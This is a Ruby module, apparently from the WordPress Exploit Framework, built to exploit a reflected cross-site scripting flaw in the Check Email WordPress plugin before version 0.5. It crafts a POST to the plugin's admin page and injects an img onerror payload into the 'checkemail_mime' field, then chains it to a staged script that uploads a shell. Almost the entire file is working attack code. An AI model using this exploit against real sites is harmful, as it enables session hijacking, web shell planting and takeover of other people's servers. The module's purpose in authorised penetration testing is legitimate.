# frozen_string_literal: true

class Wpxf::Exploit::CheckEmailReflectedXssShellUpload < Wpxf::Module
  include Wpxf::WordPress::StagedReflectedXss

  def initialize
    super

    update_info(
      name: 'Check Email < 0.5 Reflected XSS Shell Upload',
      author: [
        'Antonis Manaras', # Disclosure
        'rastating'        # WPXF module
      ],
      references: [
        ['WPVDB', '8661'],
        ['URL', 'https://sumofpwn.nl/advisory/2016/cross_site_scripting_in_check_email_wordpress_plugin.html']
      ],
      date: 'Nov 12 2016'
    )
  end

  def check
    check_plugin_version_from_readme('check-email', '0.5')
  end

  def vulnerable_url
    normalize_uri(wordpress_url_admin, 'tools.php?page=checkemail')
  end

  def initial_script
    create_basic_post_script(
      vulnerable_url,
      'checkemail_to' => Utility::Text.rand_email,
      'checkemail_headers' => 'custom',
      'checkemail_mime' => "\\\"><img src=x onerror=#{xss_ascii_encoded_include_script} />",
      'checkemail_type' => Utility::Text.rand_alphanumeric(5),
      'checkemail_from' => Utility::Text.rand_email,
      'checkemail_cc' => Utility::Text.rand_email,
      'checkemail_break' => '\n',
      'checkemail_go' => 'Send test email'
    )
  end
end
